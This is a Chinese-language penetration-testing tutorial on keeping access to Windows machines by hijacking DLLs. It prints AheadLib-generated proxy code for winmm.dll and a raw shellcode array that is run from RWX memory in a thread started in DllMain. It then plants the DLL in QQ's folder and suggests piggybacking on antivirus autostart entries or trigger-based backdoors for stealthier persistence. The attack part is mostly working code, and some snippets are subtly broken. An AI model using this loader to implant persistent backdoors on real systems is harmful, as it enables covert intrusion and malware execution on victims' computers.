內網滲透研究:dll劫持權限維持
本文所采用技術,僅用來實現自定義功能,適用場景僅為授權的測試中進行權限維持或為個人電腦添加定制化功能,如:啟動QQ同時啟動計算器,方便實用~
0×01 DLL劫持
當一個可執行文件運行時,Windows加載器會將PE(Portable Executable File Format)文件映射到內存中,然后分析可執行文件的導入表,並將相應的DLL文件裝入,EXE文件通過導入表找到DLL中相應的函數,從而運行相應的函數。
導入表中只有DLL名,並不存在任何路徑信息,因此Windows加載器必須在磁盤上搜索DLL文件。搜索順序為:當前程序所在的目錄->Windows系統目錄->環境變量。利用這個特點,可以偽造一個系統同名DLL放在程序目錄下,當提供相同的輸出表,當EXE加載DLL時會首先會搜索當前目錄下DLL並裝入,調用DLL函數時,偽造的DLL將程序所調用的函數全部轉發至系統真實DLL中,並在此過程中完成惡意功能。此種方式被稱之為DLL劫持。
在Windows7及以上系統采用了KnownDLLs
注冊表位置:\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
在此項下的DLL會被禁止從EXE自身所在目錄下調用,而只能從系統目錄即SYSTEM32目錄下調用

0x02 生成DLL劫持代碼
利用Proccess可以查看進程加載的DLL,選擇合適的DLL,這里選擇的是winmm.dll

winmm.dll是Windows多媒體相關應用程序接口,並且不在KnownDLLs中,可以用來進行劫持。
首先使用AheadLib生成 DLL劫持C源代碼,選擇要劫持的DLL:


生成代碼(已略去大段導出代碼):
//// created by AheadLib// github:https://github.com/strivexjun/AheadLib-x86-x64//
#include <windows.h>
#include <Shlwapi.h>
#pragma comment( lib, "Shlwapi.lib")
#pragma comment(linker, "/EXPORT:Noname2=_AheadLib_Unnamed2,@2,NONAME")
#pragma comment(linker, "/EXPORT:mciExecute=_AheadLib_mciExecute,@3")
#pragma comment(linker, "/EXPORT:CloseDriver=_AheadLib_CloseDriver,@4")
#pragma comment(linker, "/EXPORT:DefDriverProc=_AheadLib_DefDriverProc,@5")
#pragma comment(linker, "/EXPORT:midiOutCachePatches=_AheadLib_midiOutCachePatches,@75")
#pragma comment(linker, "/EXPORT:midiOutClose=_AheadLib_midiOutClose,@76")
#pragma comment(linker, "/EXPORT:midiOutGetDevCapsA=_AheadLib_midiOutGetDevCapsA,@77")
#pragma comment(linker, "/EXPORT:midiOutGetDevCapsW=_AheadLib_midiOutGetDevCapsW,@78")
#pragma comment(linker, "/EXPORT:midiOutGetErrorTextA=_AheadLib_midiOutGetErrorTextA,@79")
#pragma comment(linker, "/EXPORT:midiOutGetErrorTextW=_AheadLib_midiOutGetErrorTextW,@80")
#pragma comment(linker, "/EXPORT:midiOutGetID=_AheadLib_midiOutGetID,@81")
.........
#pragma comment(linker, "/EXPORT:midiOutGetNumDevs=_AheadLib_midiOutGetNumDevs,@82")
#pragma comment(linker, "/EXPORT:midiOutGetVolume=_AheadLib_midiOutGetVolume,@83")
#pragma comment(linker, "/EXPORT:midiOutLongMsg=_AheadLib_midiOutLongMsg,@84")
#pragma comment(linker, "/EXPORT:midiOutMessage=_AheadLib_midiOutMessage,@85")
#pragma comment(linker, "/EXPORT:midiOutOpen=_AheadLib_midiOutOpen,@86")
#pragma comment(linker, "/EXPORT:midiOutPrepareHeader=_AheadLib_midiOutPrepareHeader,@87")
#pragma comment(linker, "/EXPORT:midiOutReset=_AheadLib_midiOutReset,@88")
#pragma comment(linker, "/EXPORT:midiOutSetVolume=_AheadLib_midiOutSetVolume,@89")
#pragma comment(linker, "/EXPORT:midiOutShortMsg=_AheadLib_midiOutShortMsg,@90")
#pragma comment(linker, "/EXPORT:mmsystemGetVersion=_AheadLib_mmsystemGetVersion,@141")
#pragma comment(linker, "/EXPORT:mod32Message=_AheadLib_mod32Message,@142")
#pragma comment(linker, "/EXPORT:waveOutReset=_AheadLib_waveOutReset,@186")
#pragma comment(linker, "/EXPORT:waveOutRestart=_AheadLib_waveOutRestart,@187")
#pragma comment(linker, "/EXPORT:waveOutSetPitch=_AheadLib_waveOutSetPitch,@188")
#pragma comment(linker, "/EXPORT:waveOutSetPlaybackRate=_AheadLib_waveOutSetPlaybackRate,@189")
#pragma comment(linker, "/EXPORT:waveOutSetVolume=_AheadLib_waveOutSetVolume,@190")
#pragma comment(linker, "/EXPORT:waveOutUnprepareHeader=_AheadLib_waveOutUnprepareHeader,@191")
#pragma comment(linker, "/EXPORT:waveOutWrite=_AheadLib_waveOutWrite,@192")
#pragma comment(linker, "/EXPORT:wid32Message=_AheadLib_wid32Message,@193")
#pragma comment(linker, "/EXPORT:wod32Message=_AheadLib_wod32Message,@194")
PVOID pfnAheadLib_Unnamed2;PVOID pfnAheadLib_mciExecute;
PVOID pfnAheadLib_CloseDriver;
PVOID pfnAheadLib_waveOutGetPlaybackRate;
PVOID pfnAheadLib_waveOutGetPosition;
PVOID pfnAheadLib_waveOutGetVolume;
PVOID pfnAheadLib_waveOutMessage;
PVOID pfnAheadLib_waveOutOpen;
.........
PVOID pfnAheadLib_waveOutPause;
PVOID pfnAheadLib_waveOutPrepareHeader;
PVOID pfnAheadLib_waveOutReset;
PVOID pfnAheadLib_waveOutRestart;
PVOID pfnAheadLib_waveOutSetPitch;
PVOID pfnAheadLib_waveOutSetPlaybackRate;
PVOID pfnAheadLib_waveOutSetVolume;
PVOID pfnAheadLib_waveOutUnprepareHeader;
PVOID pfnAheadLib_waveOutWrite;
PVOID pfnAheadLib_wid32Message;
PVOID pfnAheadLib_wod32Message;
staticHMODULE g_OldModule = NULL;
VOID WINAPI Free(){ if (g_OldModule) FreeLibrary(g_OldModule); }}
BOOL WINAPI Load(){
TCHAR tzPath[MAX_PATH]; TCHAR tzTemp[MAX_PATH * 2]; // // 這里是否從系統目錄或當前目錄加載原始DLL
// GetSystemDirectory(tzPath, MAX_PATH); lstrcat(tzPath, TEXT("\\winmm.dll"));
g_OldModule = LoadLibrary(tzPath);
if (g_OldModule == NULL) {
wsprintf(tzTemp, TEXT("無法找到模塊 %s,程序無法正常運行"), tzPath);
MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
}
return (g_OldModule != NULL);
}
FARPROC WINAPI GetAddress(PCSTR pszProcName){
FARPROC fpAddress;
CHAR szProcName[64];
TCHAR tzTemp[MAX_PATH];
fpAddress = GetProcAddress(g_OldModule, pszProcName);
if (fpAddress == NULL) {
if (HIWORD(pszProcName) == 0) {
wsprintfA(szProcName, "#%d", pszProcName);
pszProcName = szProcName;
}
wsprintf(tzTemp, TEXT("無法找到函數 %hs,程序無法正常運行"), pszProcName);
MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP); ExitProcess(-2);
}
return fpAddress;
}
BOOL WINAPI Init(){
pfnAheadLib_Unnamed2 = GetAddress(MAKEINTRESOURCEA(2));
pfnAheadLib_mciExecute = GetAddress("mciExecute");
pfnAheadLib_CloseDriver = GetAddress("CloseDriver");
pfnAheadLib_DefDriverProc = GetAddress("DefDriverProc");
pfnAheadLib_DriverCallback = GetAddress("DriverCallback");
pfnAheadLib_DrvGetModuleHandle = GetAddress("DrvGetModuleHandle");
pfnAheadLib_GetDriverModuleHandle = GetAddress("GetDriverModuleHandle");
pfnAheadLib_NotifyCallbackData = GetAddress("NotifyCallbackData");
pfnAheadLib_OpenDriver = GetAddress("OpenDriver");
pfnAheadLib_PlaySound = GetAddress("PlaySound");
pfnAheadLib_PlaySoundA = GetAddress("PlaySoundA");
pfnAheadLib_PlaySoundW = GetAddress("PlaySoundW");
pfnAheadLib_SendDriverMessage = GetAddress("SendDriverMessage");
pfnAheadLib_WOW32DriverCallback = GetAddress("WOW32DriverCallback");
... ... ...
pfnAheadLib_waveOutGetVolume = GetAddress("waveOutGetVolume");
pfnAheadLib_waveOutMessage = GetAddress("waveOutMessage");
pfnAheadLib_waveOutOpen = GetAddress("waveOutOpen");
pfnAheadLib_waveOutPause = GetAddress("waveOutPause");
pfnAheadLib_waveOutPrepareHeader = GetAddress("waveOutPrepareHeader") pfnAheadLib_waveOutReset = GetAddress("waveOutReset");
pfnAheadLib_waveOutRestart = GetAddress("waveOutRestart");
pfnAheadLib_waveOutSetPitch = GetAddress("waveOutSetPitch");
pfnAheadLib_waveOutSetPlaybackRate = GetAddress("waveOutSetPlaybackRate");
pfnAheadLib_waveOutSetVolume = GetAddress("waveOutSetVolume");
pfnAheadLib_waveOutUnprepareHeader = GetAddress("waveOutUnprepareHeader");
pfnAheadLib_waveOutWrite = GetAddress("waveOutWrite");
pfnAheadLib_wid32Message = GetAddress("wid32Message");
pfnAheadLib_wod32Message = GetAddress("wod32Message");
return TRUE;
}
DWORD WINAPI ThreadProc(LPVOID lpThreadParameter){
HANDLE hProcess; PVOID addr1 = reinterpret_cast<PVOID>(0x00401000);
BYTE data1[] = { 0x90, 0x90, 0x90, 0x90 }; // // 繞過VMP3.x 的內存保護
// hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, GetCurrentProcessId());
if (hProcess) {
WriteProcessMemory(hProcess, addr1, data1, sizeof(data1), NULL);
CloseHandle(hProcess);
}
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){
if (dwReason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hModule);
if (Load() && Init()) {
TCHAR szAppName[MAX_PATH] = TEXT("MyApp.exe");
TCHAR szCurName[MAX_PATH];
GetModuleFileName(NULL, szCurName, MAX_PATH);
PathStripPath(szCurName); //是否判斷宿主進程名
if (StrCmpI(szAppName, szAppName) == 0) {
//啟動補丁線程或者其他操作
HANDLE hThread = CreateThread(NULL, NULL, ThreadProc, NULL, NULL, NULL);
if (hThread) {
CloseHandle(hThread);
}
}
}
}
else if (dwReason == DLL_PROCESS_DETACH) { Free(); }
return TRUE;
}
EXTERN_C __declspec(naked) void __cdecl AheadLib_Unnamed2(void){
__asm jmp pfnAheadLib_Unnamed2;
}
.........
EXTERN_C __declspec(naked) void __cdecl AheadLib_wod32Message(void){
__asm jmp pfnAheadLib_wod32Message;
}
生成代碼長度和輸出表有關。
0x03 編寫新DLL
使用VS2015(201x都行吧)創建DLL項目:


將代碼拷貝到dllmain.cpp中:

在winmm_fb.cpp文件中實現自定義功能:
unsigned char shellcode[] ="\xbf\x6e\x4a\x25\x08\xd9\xeb\xd9\x74\x24\xf4\x5d\x33\xc9\xb1"
"\x31\x31\x7d\x13\x03\x7d\x13\x83\xc5\x6a\xa8\xd0\xf4\x9a\xae"
"\x1b\x05\x5a\xcf\x92\xe0\x6b\xcf\xc1\x61\xdb\xff\x82\x24\xd7"
"\x74\xc6\xdc\x6c\xf8\xcf\xd3\xc5\xb7\x29\xdd\xd6\xe4\x0a\x7c"
"\x54\xf7\x5e\x5e\x65\x38\x93\x9f\xa2\x25\x5e\xcd\x7b\x21\xcd"
"\xe2\x08\x7f\xce\x89\x42\x91\x56\x6d\x12\x90\x77\x20\x29\xcb"
"\x57\xc2\xfe\x67\xde\xdc\xe3\x42\xa8\x57\xd7\x39\x2b\xbe\x26"
"\xc1\x80\xff\x87\x30\xd8\x38\x2f\xab\xaf\x30\x4c\x56\xa8\x86"
"\x2f\x8c\x3d\x1d\x97\x47\xe5\xf9\x26\x8b\x70\x89\x24\x60\xf6"
"\xd5\x28\x77\xdb\x6d\x54\xfc\xda\xa1\xdd\x46\xf9\x65\x86\x1d"
"\x60\x3f\x62\xf3\x9d\x5f\xcd\xac\x3b\x2b\xe3\xb9\x31\x76\x69"
"\x3f\xc7\x0c\xdf\x3f\xd7\x0e\x4f\x28\xe6\x85\x00\x2f\xf7\x4f"
"\x65\xcf\x15\x5a\x93\x78\x80\x0f\x1e\xe5\x33\xfa\x5c\x10\xb0"
"\x0f\x1c\xe7\xa8\x65\x19\xa3\x6e\x95\x53\xbc\x1a\x99\xc0\xbd"
"\x0e\xfa\x87\x2d\xd2\xd3\x22\xd6\x71\x2c";
DWORD WINAPI run(LPVOID lpParameter){
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, shellcode, sizeof(shellcode)); //運行 ((void(*)())Memory)();
return 0;
}
DllMain函數是DLL的入口函數,在DllMain()函數中創建線程調用該功能(記得添加聲明):
HANDLE hThread1 = CreateThread(NULL, 0, run, NULL, 0, NULL);
修改好代碼后編譯


0x04 DLL劫持
修改DLL名稱為winmm.dll,並放入QQ的exe目錄下:

打開QQ:

QQ與計算器同時啟動功能就實現了~~
在授權的測試中利用該種方式實現的shellcode加載,可以依托於正常啟動項(比如殺毒軟件?),通過正常開機啟動項創建線程,執行相應的shellcode,更為隱蔽的進行權限維持。
也可以劫持相關軟件,實現觸發式shllcode執行,制作觸發式后門進行權限維持,在特定條件下執行shellcode。
0x05 后記
完整代碼:
DLLhijack-ShellcodeLoader:https://github.com/LDrakura/DLLhijack-ShellcodeLoader
高清文件:
鏈接: https://pan.baidu.com/s/149PBcZ5OmSA5Clt8LPlZfg 提取碼: j8tx
參考:
AheadLib:https://github.com/strivexjun/AheadLib-x86-x64
